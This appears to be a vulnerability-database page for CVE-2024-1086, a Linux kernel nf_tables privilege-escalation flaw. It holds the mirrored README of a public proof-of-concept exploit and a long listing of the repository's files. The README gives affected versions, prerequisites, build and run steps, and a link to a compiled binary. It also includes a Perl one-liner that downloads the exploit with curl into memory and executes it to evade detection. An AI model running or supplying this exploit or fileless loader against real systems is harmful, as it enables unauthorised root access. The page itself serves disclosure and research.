关联漏洞
标题:
Linux kernel 资源管理错误漏洞
(CVE-2024-1086)
描述:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在安全漏洞,该漏洞源于netfilter: nf_tables 组件中存在释放后重用,nf_hook_slow() 函数可能会导致双重释放,攻击者利用该漏洞导致本地权限提升。
介绍
# CVE-2024-1086
Universal local privilege escalation Proof-of-Concept exploit for [CVE-2024-1086](https://nvd.nist.gov/vuln/detail/CVE-2024-1086), working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images.
https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de
## Blogpost / Write-up
A full write-up of the exploit - including background information and loads of useful diagrams - can be found in the [Flipping Pages blogpost](https://pwning.tech/nftables/).
## Affected versions
The exploit affects versions from (including) v5.14 to (including) v6.6, excluding patched branches v5.15.149>, v6.1.76>, v6.6.15>. The patch for these versions were released in feb 2024. The underlying vulnerability affects all versions (excluding patched stable branches) from v3.15 to v6.8-rc1.
**Caveats:**
- The exploit does not work on v6.4> kernels with kconfig `CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y` (including Ubuntu v6.5)
- The exploits requires user namespaces (kconfig `CONFIG_USER_NS=y`), that those user namespaces are unprivileged (sh command `sysctl kernel.unprivileged_userns_clone` = 1), and that nf_tables is enabled (kconfig `CONFIG_NF_TABLES=y`). By default, these are all enabled on Debian, Ubuntu, and KernelCTF. Other distro's have not been tested, but may work as well. Additionally, the exploit has only been tested on x64/amd64.
- The exploit may be *very* unstable on systems with a lot of network activity
- Systems with WiFi adapter, when surrounded by high-usage WiFi networks, will be very unstable.
- On test devices, please turn off WiFi adapters through BIOS.
- The kernel panic (system crash) after running the exploit is a side-effect which deliberately hasn't been fixed to prevent malicious usage of the exploit (i.e. exploitation attempts should now be more noticable, and unpractical in real-world operations). Despite this, it still allows for a working proof-of-concept in lab environments, as the root shell is functional, and persistence through disk is possible.
## Usage
### Configuration
The default values should work out of the box on Debian, Ubuntu, and KernelCTF with a local shell. On non-tested setups/distros, please make sure the kconfig values match with the target kernel. These can be specified in [`src/config.h`](/src/config.h). If you are running the exploit on a machine with more than 32GiB physical memory, make sure to increase `CONFIG_PHYS_MEM`.
If you are running the exploit over SSH (into the test machine) or a reverse shell, you may want to toggle `CONFIG_REDIRECT_LOG` to `1` to avoid unnecessary network activity.
### Building
If this is impractical for you, there is an [compiled x64 binary](https://github.com/Notselwyn/CVE-2024-1086/releases/download/v1.0.0/exploit) with the default config.
```bash
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
```
Binary: `CVE-2024-1086/exploit`
### Running
Running the exploit is just as trivial:
```bash
./exploit
```
Fileless execution is also supported, in case of pentest situations where detections need to be avoided. However, Perl needs to be installed on the target:
```bash
perl -e '
require qw/syscall.ph/;
my $fd = syscall(SYS_memfd_create(), $fn, 0);
system "curl https://example.com/exploit -s >&$fd";
exec {"/proc/$$/fd/$fd"} "memfd";
'
```
## Disclaimer
The programs and scripts ("programs") in this software directory/folder/repository ("repository") are published, developed and distributed for educational/research purposes only. I ("the creator") do not condone any malicious or illegal usage of the programs in this repository, as the intend is sharing research and not doing illegal activities with it. I am not legally responsible for anything you do with the programs in this repository.
文件快照
[4.0K] /data/pocs/226088b0108ef05d2b8550e2c3c38fb830f4ae90
├── [4.0K] include
│ ├── [4.0K] libmnl
│ │ ├── [7.9K] libmnl.h
│ │ └── [ 26K] LICENSE.md
│ ├── [4.0K] libnftnl
│ │ ├── [ 631] batch.h
│ │ ├── [4.6K] chain.h
│ │ ├── [1.3K] common.h
│ │ ├── [7.0K] expr.h
│ │ ├── [3.5K] flowtable.h
│ │ ├── [1.5K] gen.h
│ │ ├── [ 18K] LICENSE.md
│ │ ├── [5.1K] object.h
│ │ ├── [3.8K] rule.h
│ │ ├── [2.3K] ruleset.h
│ │ ├── [6.8K] set.h
│ │ ├── [3.2K] table.h
│ │ ├── [1.4K] trace.h
│ │ └── [3.8K] udata.h
│ └── [4.0K] linux-lts-6.1.72
│ ├── [4.0K] asm
│ │ ├── [8.7K] amd_hsmp.h
│ │ ├── [ 756] a.out.h
│ │ ├── [ 546] auxvec.h
│ │ ├── [ 321] bitsperlong.h
│ │ ├── [ 323] boot.h
│ │ ├── [8.3K] bootparam.h
│ │ ├── [ 40] bpf_perf_event.h
│ │ ├── [ 200] byteorder.h
│ │ ├── [3.3K] debugreg.h
│ │ ├── [2.5K] e820.h
│ │ ├── [ 31] errno.h
│ │ ├── [ 31] fcntl.h
│ │ ├── [ 69] hw_breakpoint.h
│ │ ├── [ 324] hwcap2.h
│ │ ├── [ 31] ioctl.h
│ │ ├── [ 32] ioctls.h
│ │ ├── [ 32] ipcbuf.h
│ │ ├── [ 854] ist.h
│ │ ├── [ 12K] kvm.h
│ │ ├── [4.2K] kvm_para.h
│ │ ├── [ 388] kvm_perf.h
│ │ ├── [1.3K] ldt.h
│ │ ├── [1.7K] mce.h
│ │ ├── [ 503] mman.h
│ │ ├── [1.1K] msgbuf.h
│ │ ├── [ 346] msr.h
│ │ ├── [4.1K] mtrr.h
│ │ ├── [ 31] param.h
│ │ ├── [1.4K] perf_regs.h
│ │ ├── [ 30] poll.h
│ │ ├── [ 765] posix_types_32.h
│ │ ├── [ 609] posix_types_64.h
│ │ ├── [ 224] posix_types.h
│ │ ├── [ 581] posix_types_x32.h
│ │ ├── [ 618] prctl.h
│ │ ├── [6.6K] processor-flags.h
│ │ ├── [2.0K] ptrace-abi.h
│ │ ├── [1.5K] ptrace.h
│ │ ├── [ 34] resource.h
│ │ ├── [1.0K] sembuf.h
│ │ ├── [ 6] setup.h
│ │ ├── [8.1K] sgx.h
│ │ ├── [1.3K] shmbuf.h
│ │ ├── [ 271] sigcontext32.h
│ │ ├── [9.5K] sigcontext.h
│ │ ├── [ 422] siginfo.h
│ │ ├── [2.0K] signal.h
│ │ ├── [ 32] socket.h
│ │ ├── [ 33] sockios.h
│ │ ├── [ 416] statfs.h
│ │ ├── [3.1K] stat.h
│ │ ├── [9.5K] svm.h
│ │ ├── [ 724] swab.h
│ │ ├── [ 34] termbits.h
│ │ ├── [ 33] termios.h
│ │ ├── [ 31] types.h
│ │ ├── [2.1K] ucontext.h
│ │ ├── [ 12K] unistd_32.h
│ │ ├── [9.5K] unistd_64.h
│ │ ├── [ 623] unistd.h
│ │ ├── [ 17K] unistd_x32.h
│ │ ├── [3.1K] vm86.h
│ │ ├── [7.3K] vmx.h
│ │ └── [ 263] vsyscall.h
│ ├── [4.0K] asm-generic
│ │ ├── [ 218] auxvec.h
│ │ ├── [ 564] bitsperlong.h
│ │ ├── [ 238] bpf_perf_event.h
│ │ ├── [1.6K] errno-base.h
│ │ ├── [5.5K] errno.h
│ │ ├── [5.5K] fcntl.h
│ │ ├── [1.8K] hugetlb_encode.h
│ │ ├── [ 718] int-l64.h
│ │ ├── [ 864] int-ll64.h
│ │ ├── [3.4K] ioctl.h
│ │ ├── [3.9K] ioctls.h
│ │ ├── [1.0K] ipcbuf.h
│ │ ├── [ 96] kvm_para.h
│ │ ├── [3.7K] mman-common.h
│ │ ├── [ 740] mman.h
│ │ ├── [1.6K] msgbuf.h
│ │ ├── [ 353] param.h
│ │ ├── [ 847] poll.h
│ │ ├── [2.3K] posix_types.h
│ │ ├── [1.8K] resource.h
│ │ ├── [1.5K] sembuf.h
│ │ ├── [ 190] setup.h
│ │ ├── [1.8K] shmbuf.h
│ │ ├── [ 11K] siginfo.h
│ │ ├── [2.9K] signal-defs.h
│ │ ├── [1.8K] signal.h
│ │ ├── [3.6K] socket.h
│ │ ├── [ 447] sockios.h
│ │ ├── [1.8K] statfs.h
│ │ ├── [2.6K] stat.h
│ │ ├── [ 502] swab.h
│ │ ├── [2.2K] termbits-common.h
│ │ ├── [3.6K] termbits.h
│ │ ├── [1.3K] termios.h
│ │ ├── [ 233] types.h
│ │ ├── [ 357] ucontext.h
│ │ └── [ 31K] unistd.h
│ ├── [4.0K] drm
│ │ ├── [ 35K] amdgpu_drm.h
│ │ ├── [1.2K] armada_drm.h
│ │ ├── [ 63K] drm_fourcc.h
│ │ ├── [ 37K] drm.h
│ │ ├── [ 37K] drm_mode.h
│ │ ├── [2.7K] drm_sarea.h
│ │ ├── [ 12K] etnaviv_drm.h
│ │ ├── [ 11K] exynos_drm.h
│ │ ├── [9.8K] i810_drm.h
│ │ ├── [122K] i915_drm.h
│ │ ├── [4.9K] lima_drm.h
│ │ ├── [ 13K] mga_drm.h
│ │ ├── [ 15K] msm_drm.h
│ │ ├── [6.5K] nouveau_drm.h
│ │ ├── [3.9K] omap_drm.h
│ │ ├── [8.2K] panfrost_drm.h
│ │ ├── [4.0K] qxl_drm.h
│ │ ├── [9.8K] r128_drm.h
│ │ ├── [ 37K] radeon_drm.h
│ │ ├── [7.0K] savage_drm.h
│ │ ├── [2.6K] sis_drm.h
│ │ ├── [ 21K] tegra_drm.h
│ │ ├── [ 15K] v3d_drm.h
│ │ ├── [ 14K] vc4_drm.h
│ │ ├── [1.9K] vgem_drm.h
│ │ ├── [8.1K] via_drm.h
│ │ ├── [7.2K] virtgpu_drm.h
│ │ └── [ 37K] vmwgfx_drm.h
│ ├── [3.7K] headers_check.pl
│ ├── [ 90] LICENSE.md
│ ├── [ 36K] linux
│ │ ├── [3.8K] acct.h
│ │ ├── [ 19K] acrn.h
│ │ ├── [1.1K] adb.h
│ │ ├── [ 993] adfs_fs.h
│ │ ├── [1.5K] affs_hardblocks.h
│ │ ├── [3.9K] agpgart.h
│ │ ├── [3.3K] aio_abi.h
│ │ ├── [3.6K] am437x-vpfe.h
│ │ ├── [1.7K] amt.h
│ │ ├── [4.0K] android
│ │ │ ├── [ 789] binderfs.h
│ │ │ └── [ 16K] binder.h
│ │ ├── [6.7K] a.out.h
│ │ ├── [3.6K] apm_bios.h
│ │ ├── [ 213] arcfb.h
│ │ ├── [2.7K] arm_sdei.h
│ │ ├── [1.7K] aspeed-lpc-ctrl.h
│ │ ├── [1.9K] aspeed-p2a-ctrl.h
│ │ ├── [1023] atalk.h
│ │ ├── [ 952] atmapi.h
│ │ ├── [1.3K] atmarp.h
│ │ ├── [3.2K] atmbr2684.h
│ │ ├── [ 576] atmclip.h
│ │ ├── [7.5K] atmdev.h
│ │ ├── [ 648] atm_eni.h
│ │ ├── [7.7K] atm.h
│ │ ├── [ 406] atm_he.h
│ │ ├── [ 955] atm_idt77105.h
│ │ ├── [1.6K] atmioc.h
│ │ ├── [2.3K] atmlec.h
│ │ ├── [4.1K] atmmpc.h
│ │ ├── [1.2K] atm_nicstar.h
│ │ ├── [ 639] atmppp.h
│ │ ├── [4.9K] atmsap.h
│ │ ├── [1.8K] atmsvc.h
│ │ ├── [1.6K] atm_tcp.h
│ │ ├── [1.5K] atm_zatm.h
│ │ ├── [ 21K] audit.h
│ │ ├── [4.9K] auto_dev-ioctl.h
│ │ ├── [ 451] auto_fs4.h
│ │ ├── [6.3K] auto_fs.h
│ │ ├── [1.6K] auxvec.h
│ │ ├── [2.8K] ax25.h
│ │ ├── [ 20K] batadv_packet.h
│ │ ├── [ 16K] batman_adv.h
│ │ ├── [ 883] baycom.h
│ │ ├── [ 419] bcm933xx_hcs.h
│ │ ├── [1.9K] bfs_fs.h
│ │ ├── [ 776] binfmts.h
│ │ ├── [ 904] blkpg.h
│ │ ├── [4.6K] blktrace_api.h
│ │ ├── [6.3K] blkzoned.h
│ │ ├── [1.3K] bpf_common.h
│ │ ├── [254K] bpf.h
│ │ ├── [ 465] bpfilter.h
│ │ ├── [ 529] bpf_perf_event.h
│ │ ├── [ 981] bpqether.h
│ │ ├── [2.4K] bsg.h
│ │ ├── [ 572] bt-bmc.h
│ │ ├── [5.5K] btf.h
│ │ ├── [ 35K] btrfs.h
│ │ ├── [ 27K] btrfs_tree.h
│ │ ├── [4.0K] byteorder
│ │ │ ├── [3.5K] big_endian.h
│ │ │ └── [3.6K] little_endian.h
│ │ ├── [1.6K] cachefiles.h
│ │ ├── [4.0K] caif
│ │ │ ├── [5.7K] caif_socket.h
│ │ │ └── [1.0K] if_caif.h
│ │ ├── [4.0K] can
│ │ │ ├── [4.0K] bcm.h
│ │ │ ├── [6.9K] error.h
│ │ │ ├── [7.8K] gw.h
│ │ │ ├── [7.3K] isotp.h
│ │ │ ├── [2.3K] j1939.h
│ │ │ ├── [5.0K] netlink.h
│ │ │ ├── [2.9K] raw.h
│ │ │ └── [ 232] vxcan.h
│ │ ├── [ 11K] can.h
│ │ ├── [ 13K] capability.h
│ │ ├── [3.1K] capi.h
│ │ ├── [3.2K] cciss_defs.h
│ │ ├── [2.7K] cciss_ioctl.h
│ │ ├── [ 767] ccs.h
│ │ ├── [ 29K] cdrom.h
│ │ ├── [ 53K] cec-funcs.h
│ │ ├── [ 41K] cec.h
│ │ ├── [1.4K] cfm_bridge.h
│ │ ├── [2.2K] cgroupstats.h
│ │ ├── [5.2K] chio.h
│ │ ├── [4.0K] cifs
│ │ │ ├── [1.2K] cifs_mount.h
│ │ │ └── [1.6K] cifs_netlink.h
│ │ ├── [ 377] close_range.h
│ │ ├── [1.8K] cm4000_cs.h
│ │ ├── [3.4K] cn_proc.h
│ │ ├── [ 18K] coda.h
│ │ ├── [ 12K] coff.h
│ │ ├── [ 54K] comedi.h
│ │ ├── [2.2K] connector.h
│ │ ├── [ 991] const.h
│ │ ├── [ 747] coresight-stm.h
│ │ ├── [4.5K] counter.h
│ │ ├── [3.5K] cramfs_fs.h
│ │ ├── [5.2K] cryptouser.h
│ │ ├── [ 905] cuda.h
│ │ ├── [6.3K] cxl_mem.h
│ │ ├── [ 969] cyclades.h
│ │ ├── [2.9K] cycx_cfm.h
│ │ ├── [ 25K] dcbnl.h
│ │ ├── [6.3K] dccp.h
│ │ ├── [ 21K] devlink.h
│ │ ├── [5.0K] dlmconstants.h
│ │ ├── [2.5K] dlm_device.h
│ │ ├── [2.5K] dlm.h
│ │ ├── [1.1K] dlm_netlink.h
│ │ ├── [ 894] dlm_plock.h
│ │ ├── [7.2K] dma-buf.h
│ │ ├── [1.4K] dma-heap.h
│ │ ├── [ 11K] dm-ioctl.h
│ │ ├── [ 15K] dm-log-userspace.h
│ │ ├── [3.9K] dns_resolver.h
│ │ ├── [9.2K] dqblk_xfs.h
│ │ ├── [4.0K] dvb
│ │ │ ├── [3.5K] audio.h
│ │ │ ├── [4.1K] ca.h
│ │ │ ├── [9.9K] dmx.h
│ │ │ ├── [ 29K] frontend.h
│ │ │ ├── [2.1K] net.h
│ │ │ ├── [5.8K] osd.h
│ │ │ ├── [1.1K] version.h
│ │ │ └── [6.9K] video.h
│ │ ├── [ 357] dw100.h
│ │ ├── [5.5K] edd.h
│ │ ├── [2.2K] efs_fs_sb.h
│ │ ├── [2.6K] elf-em.h
│ │ ├── [1.1K] elf-fdpic.h
│ │ ├── [ 15K] elf.h
│ │ ├── [ 23] errno.h
│ │ ├── [1.9K] errqueue.h
│ │ ├── [1.0K] erspan.h
│ │ ├── [ 84K] ethtool.h
│ │ ├── [ 24K] ethtool_netlink.h
│ │ ├── [2.8K] eventpoll.h
│ │ ├── [3.2K] f2fs.h
│ │ ├── [ 842] fadvise.h
│ │ ├── [3.5K] falloc.h
│ │ ├── [7.3K] fanotify.h
│ │ ├── [ 16K] fb.h
│ │ ├── [4.2K] fcntl.h
│ │ ├── [ 12K] fd.h
│ │ ├── [5.2K] fdreg.h
│ │ ├── [2.0K] fib_rules.h
│ │ ├── [2.7K] fiemap.h
│ │ ├── [2.2K] filter.h
│ │ ├── [ 43K] firewire-cdev.h
│ │ ├── [3.2K] firewire-constants.h
│ │ ├── [ 894] fou.h
│ │ ├── [8.5K] fpga-dfl.h
│ │ ├── [6.5K] fscrypt.h
│ │ ├── [ 12K] fs.h
│ │ ├── [2.6K] fsi.h
│ │ ├── [7.1K] fsl_hypervisor.h
│ │ ├── [ 734] fsl_mc.h
│ │ ├── [4.3K] fsmap.h
│ │ ├── [3.1K] fsverity.h
│ │ ├── [ 24K] fuse.h
│ │ ├── [5.5K] futex.h
│ │ ├── [ 897] gameport.h
│ │ ├── [2.2K] genetlink.h
│ │ ├── [1.5K] gen_stats.h
│ │ ├── [4.0K] genwqe
│ │ │ └── [ 17K] genwqe_card.h
│ │ ├── [ 14K] gfs2_ondisk.h
│ │ ├── [ 19K] gpio.h
│ │ ├── [1.1K] gsmmux.h
│ │ ├── [ 734] gtp.h
│ │ ├── [ 971] hash_info.h
│ │ ├── [4.0K] hdlc
│ │ │ └── [2.9K] ioctl.h
│ │ ├── [2.8K] hdlcdrv.h
│ │ ├── [ 637] hdlc.h
│ │ ├── [ 22K] hdreg.h
│ │ ├── [6.2K] hiddev.h
│ │ ├── [2.0K] hid.h
│ │ ├── [1.9K] hidraw.h
│ │ ├── [ 743] hpet.h
│ │ ├── [4.0K] hsi
│ │ │ ├── [3.6K] cs-protocol.h
│ │ │ └── [1.9K] hsi_char.h
│ │ ├── [1.1K] hsr_netlink.h
│ │ ├── [ 742] hw_breakpoint.h
│ │ ├── [ 11K] hyperv.h
│ │ ├── [1.8K] i2c-dev.h
│ │ ├── [6.7K] i2c.h
│ │ ├── [ 11K] i2o-dev.h
│ │ ├── [1.5K] i8k.h
│ │ ├── [4.7K] icmp.h
│ │ ├── [4.2K] icmpv6.h
│ │ ├── [8.2K] idxd.h
│ │ ├── [2.1K] if_addr.h
│ │ ├── [ 721] if_addrlabel.h
│ │ ├── [1.5K] if_alg.h
│ │ ├── [3.6K] if_arcnet.h
│ │ ├── [6.4K] if_arp.h
│ │ ├── [5.0K] if_bonding.h
│ │ ├── [ 19K] if_bridge.h
│ │ ├── [ 986] if_cablemodem.h
│ │ ├── [ 351] ife.h
│ │ ├── [1.3K] if_eql.h
│ │ ├── [8.6K] if_ether.h
│ │ ├── [1.7K] if_fc.h
│ │ ├── [4.3K] if_fddi.h
│ │ ├── [ 11K] if.h
│ │ ├── [4.1K] if_hippi.h
│ │ ├── [1.2K] if_infiniband.h
│ │ ├── [ 34K] if_link.h
│ │ ├── [ 210] if_ltalk.h
│ │ ├── [6.4K] if_macsec.h
│ │ ├── [8.0K] if_packet.h
│ │ ├── [ 424] if_phonet.h
│ │ ├── [ 660] if_plip.h
│ │ ├── [ 29] if_ppp.h
│ │ ├── [3.2K] if_pppol2tp.h
│ │ ├── [4.8K] if_pppox.h
│ │ ├── [ 872] if_slip.h
│ │ ├── [2.5K] if_team.h
│ │ ├── [4.1K] if_tun.h
│ │ ├── [4.5K] if_tunnel.h
│ │ ├── [1.8K] if_vlan.h
│ │ ├── [ 881] if_x25.h
│ │ ├── [2.9K] if_xdp.h
│ │ ├── [3.0K] igmp.h
│ │ ├── [4.0K] iio
│ │ │ ├── [ 270] buffer.h
│ │ │ ├── [1.4K] events.h
│ │ │ └── [2.3K] types.h
│ │ ├── [1.2K] ila.h
│ │ ├── [7.4K] in6.h
│ │ ├── [4.9K] inet_diag.h
│ │ ├── [ 11K] in.h
│ │ ├── [3.2K] inotify.h
│ │ ├── [ 29K] input-event-codes.h
│ │ ├── [ 16K] input.h
│ │ ├── [ 936] in_route.h
│ │ ├── [ 945] ioam6_genl.h
│ │ ├── [2.3K] ioam6.h
│ │ ├── [1.3K] ioam6_iptunnel.h
│ │ ├── [ 163] ioctl.h
│ │ ├── [4.8K] iommu.h
│ │ ├── [1.4K] ioprio.h
│ │ ├── [ 17K] io_uring.h
│ │ ├── [1.9K] ip6_tunnel.h
│ │ ├── [2.1K] ipc.h
│ │ ├── [4.7K] ip.h
│ │ ├── [ 488] ipmi_bmc.h
│ │ ├── [ 15K] ipmi.h
│ │ ├── [3.3K] ipmi_msgdefs.h
│ │ ├── [ 947] ipsec.h
│ │ ├── [4.2K] ipv6.h
│ │ ├── [1.9K] ipv6_route.h
│ │ ├── [ 14K] ip_vs.h
│ │ ├── [ 104] irqnr.h
│ │ ├── [4.0K] isdn
│ │ │ └── [4.7K] capicmd.h
│ │ ├── [6.3K] iso_fs.h
│ │ ├── [5.3K] isst_if.h
│ │ ├── [1.2K] ivtvfb.h
│ │ ├── [3.0K] ivtv.h
│ │ ├── [6.7K] jffs2.h
│ │ ├── [3.4K] joystick.h
│ │ ├── [ 822] kcm.h
│ │ ├── [ 522] kcmp.h
│ │ ├── [1.9K] kcov.h
│ │ ├── [ 383] kdev_t.h
│ │ ├── [6.1K] kd.h
│ │ ├── [1019] kernelcapi.h
│ │ ├── [ 194] kernel.h
│ │ ├── [ 900] kernel-page-flags.h
│ │ ├── [1.9K] kexec.h
│ │ ├── [ 13K] keyboard.h
│ │ ├── [5.9K] keyctl.h
│ │ ├── [ 28K] kfd_ioctl.h
│ │ ├── [4.2K] kfd_sysfs.h
│ │ ├── [ 63K] kvm.h
│ │ ├── [1001] kvm_para.h
│ │ ├── [5.6K] l2tp.h
│ │ ├── [6.3K] landlock.h
│ │ ├── [8.1K] libc-compat.h
│ │ ├── [ 937] limits.h
│ │ ├── [8.1K] lirc.h
│ │ ├── [3.1K] llc.h
│ │ ├── [ 834] loadpin.h
│ │ ├── [3.3K] loop.h
│ │ ├── [4.1K] lp.h
│ │ ├── [2.3K] lwtunnel.h
│ │ ├── [3.8K] magic.h
│ │ ├── [4.5K] major.h
│ │ ├── [9.3K] map_to_14segment.h
│ │ ├── [6.5K] map_to_7segment.h
│ │ ├── [1.4K] matroxfb.h
│ │ ├── [1.0K] max2175.h
│ │ ├── [1.5K] mctp.h
│ │ ├── [ 21K] mdio.h
│ │ ├── [6.9K] media-bus-format.h
│ │ ├── [ 12K] media.h
│ │ ├── [3.4K] mei.h
│ │ ├── [9.1K] membarrier.h
│ │ ├── [1.3K] memfd.h
│ │ ├── [2.5K] mempolicy.h
│ │ ├── [2.5K] meye.h
│ │ ├── [9.3K] mii.h
│ │ ├── [2.1K] minix_fs.h
│ │ ├── [4.0K] misc
│ │ │ └── [2.9K] bcm_vk.h
│ │ ├── [1.5K] mman.h
│ │ ├── [4.0K] mmc
│ │ │ └── [2.3K] ioctl.h
│ │ ├── [2.1K] mmtimer.h
│ │ ├── [ 293] module.h
│ │ ├── [5.0K] mount.h
│ │ ├── [2.2K] mpls.h
│ │ ├── [ 761] mpls_iptunnel.h
│ │ ├── [6.9K] mptcp.h
│ │ ├── [2.1K] mqueue.h
│ │ ├── [4.9K] mroute6.h
│ │ ├── [5.8K] mroute.h
│ │ ├── [1.7K] mrp_bridge.h
│ │ ├── [6.6K] msdos_fs.h
│ │ ├── [3.3K] msg.h
│ │ ├── [8.0K] mtio.h
│ │ ├── [3.0K] nbd.h
│ │ ├── [2.4K] nbd-netlink.h
│ │ ├── [4.7K] ncsi.h
│ │ ├── [6.7K] ndctl.h
│ │ ├── [5.7K] neighbour.h
│ │ ├── [ 614] netconf.h
│ │ ├── [2.2K] netdevice.h
│ │ ├── [2.9K] net_dropmon.h
│ │ ├── [ 12K] netfilter
│ │ │ ├── [4.0K] ipset
│ │ │ │ ├── [ 428] ip_set_bitmap.h
│ │ │ │ ├── [9.0K] ip_set.h
│ │ │ │ ├── [ 578] ip_set_hash.h
│ │ │ │ └── [ 609] ip_set_list.h
│ │ │ ├── [4.5K] nf_conntrack_common.h
│ │ │ ├── [ 438] nf_conntrack_ftp.h
│ │ │ ├── [ 597] nf_conntrack_sctp.h
│ │ │ ├── [1.4K] nf_conntrack_tcp.h
│ │ │ ├── [ 896] nf_conntrack_tuple_common.h
│ │ │ ├── [ 538] nf_log.h
│ │ │ ├── [1.5K] nf_nat.h
│ │ │ ├── [ 900] nfnetlink_acct.h
│ │ │ ├── [2.4K] nfnetlink_compat.h
│ │ │ ├── [6.0K] nfnetlink_conntrack.h
│ │ │ ├── [1.2K] nfnetlink_cthelper.h
│ │ │ ├── [2.9K] nfnetlink_cttimeout.h
│ │ │ ├── [2.4K] nfnetlink.h
│ │ │ ├── [1.6K] nfnetlink_hook.h
│ │ │ ├── [3.0K] nfnetlink_log.h
│ │ │ ├── [2.6K] nfnetlink_osf.h
│ │ │ ├── [3.5K] nfnetlink_queue.h
│ │ │ ├── [ 576] nf_synproxy.h
│ │ │ ├── [ 731] nf_tables_compat.h
│ │ │ ├── [ 55K] nf_tables.h
│ │ │ ├── [4.4K] x_tables.h
│ │ │ ├── [1.1K] xt_addrtype.h
│ │ │ ├── [ 528] xt_AUDIT.h
│ │ │ ├── [ 935] xt_bpf.h
│ │ │ ├── [ 740] xt_cgroup.h
│ │ │ ├── [ 563] xt_CHECKSUM.h
│ │ │ ├── [ 217] xt_CLASSIFY.h
│ │ │ ├── [ 374] xt_cluster.h
│ │ │ ├── [ 230] xt_comment.h
│ │ │ ├── [ 577] xt_connbytes.h
│ │ │ ├── [ 360] xt_connlabel.h
│ │ │ ├── [ 575] xt_connlimit.h
│ │ │ ├── [ 646] xt_connmark.h
│ │ │ ├── [ 199] xt_CONNMARK.h
│ │ │ ├── [ 301] xt_CONNSECMARK.h
│ │ │ ├── [2.5K] xt_conntrack.h
│ │ │ ├── [ 199] xt_cpu.h
│ │ │ ├── [ 853] xt_CT.h
│ │ │ ├── [ 483] xt_dccp.h
│ │ │ ├── [ 429] xt_devgroup.h
│ │ │ ├── [ 701] xt_dscp.h
│ │ │ ├── [ 697] xt_DSCP.h
│ │ │ ├── [ 736] xt_ecn.h
│ │ │ ├── [ 418] xt_esp.h
│ │ │ ├── [3.2K] xt_hashlimit.h
│ │ │ ├── [ 188] xt_helper.h
│ │ │ ├── [ 933] xt_HMARK.h
│ │ │ ├── [1001] xt_IDLETIMER.h
│ │ │ ├── [ 485] xt_ipcomp.h
│ │ │ ├── [ 581] xt_iprange.h
│ │ │ ├── [ 680] xt_ipvs.h
│ │ │ ├── [ 739] xt_l2tp.h
│ │ │ ├── [ 470] xt_LED.h
│ │ │ ├── [ 221] xt_length.h
│ │ │ ├── [ 673] xt_limit.h
│ │ │ ├── [ 642] xt_LOG.h
│ │ │ ├── [ 227] xt_mac.h
│ │ │ ├── [ 260] xt_mark.h
│ │ │ ├── [ 184] xt_MARK.h
│ │ │ ├── [ 721] xt_multiport.h
│ │ │ ├── [ 421] xt_nfacct.h
│ │ │ ├── [ 556] xt_NFLOG.h
│ │ │ ├── [ 779] xt_NFQUEUE.h
│ │ │ ├── [1.0K] xt_osf.h
│ │ │ ├── [ 535] xt_owner.h
│ │ │ ├── [ 553] xt_physdev.h
│ │ │ ├── [ 188] xt_pkttype.h
│ │ │ ├── [1.0K] xt_policy.h
│ │ │ ├── [ 400] xt_quota.h
│ │ │ ├── [ 859] xt_rateest.h
│ │ │ ├── [ 390] xt_RATEEST.h
│ │ │ ├── [ 220] xt_realm.h
│ │ │ ├── [1.0K] xt_recent.h
│ │ │ ├── [ 320] xt_rpfilter.h
│ │ │ ├── [2.3K] xt_sctp.h
│ │ │ ├── [ 648] xt_SECMARK.h
│ │ │ ├── [1.8K] xt_set.h
│ │ │ ├── [ 640] xt_socket.h
│ │ │ ├── [ 331] xt_state.h
│ │ │ ├── [ 716] xt_statistic.h
│ │ │ ├── [ 664] xt_string.h
│ │ │ ├── [ 498] xt_SYNPROXY.h
│ │ │ ├── [ 253] xt_tcpmss.h
│ │ │ ├── [ 235] xt_TCPMSS.h
│ │ │ ├── [ 407] xt_TCPOPTSTRIP.h
│ │ │ ├── [1.2K] xt_tcpudp.h
│ │ │ ├── [ 333] xt_TEE.h
│ │ │ ├── [ 730] xt_time.h
│ │ │ ├── [ 575] xt_TPROXY.h
│ │ │ └── [ 752] xt_u32.h
│ │ ├── [4.0K] netfilter_arp
│ │ │ ├── [5.9K] arp_tables.h
│ │ │ └── [ 606] arpt_mangle.h
│ │ ├── [ 445] netfilter_arp.h
│ │ ├── [4.0K] netfilter_bridge
│ │ │ ├── [1.2K] ebt_802_3.h
│ │ │ ├── [9.2K] ebtables.h
│ │ │ ├── [2.0K] ebt_among.h
│ │ │ ├── [ 900] ebt_arp.h
│ │ │ ├── [ 289] ebt_arpreply.h
│ │ │ ├── [1.0K] ebt_ip6.h
│ │ │ ├── [1.1K] ebt_ip.h
│ │ │ ├── [ 616] ebt_limit.h
│ │ │ ├── [ 538] ebt_log.h
│ │ │ ├── [ 388] ebt_mark_m.h
│ │ │ ├── [ 831] ebt_mark_t.h
│ │ │ ├── [ 387] ebt_nat.h
│ │ │ ├── [ 510] ebt_nflog.h
│ │ │ ├── [ 267] ebt_pkttype.h
│ │ │ ├── [ 286] ebt_redirect.h
│ │ │ ├── [1.1K] ebt_stp.h
│ │ │ └── [ 719] ebt_vlan.h
│ │ ├── [1.1K] netfilter_bridge.h
│ │ ├── [1.7K] netfilter.h
│ │ ├── [4.0K] netfilter_ipv4
│ │ │ ├── [6.5K] ip_tables.h
│ │ │ ├── [ 425] ipt_ah.h
│ │ │ ├── [ 821] ipt_CLUSTERIP.h
│ │ │ ├── [ 431] ipt_ecn.h
│ │ │ ├── [ 901] ipt_ECN.h
│ │ │ ├── [ 654] ipt_LOG.h
│ │ │ ├── [ 468] ipt_REJECT.h
│ │ │ ├── [ 431] ipt_ttl.h
│ │ │ └── [ 375] ipt_TTL.h
│ │ ├── [1.5K] netfilter_ipv4.h
│ │ ├── [4.0K] netfilter_ipv6
│ │ │ ├── [7.8K] ip6_tables.h
│ │ │ ├── [ 657] ip6t_ah.h
│ │ │ ├── [ 744] ip6t_frag.h
│ │ │ ├── [ 458] ip6t_hl.h
│ │ │ ├── [ 408] ip6t_HL.h
│ │ │ ├── [ 645] ip6t_ipv6header.h
│ │ │ ├── [ 665] ip6t_LOG.h
│ │ │ ├── [ 439] ip6t_mh.h
│ │ │ ├── [ 400] ip6t_NPT.h
│ │ │ ├── [ 649] ip6t_opts.h
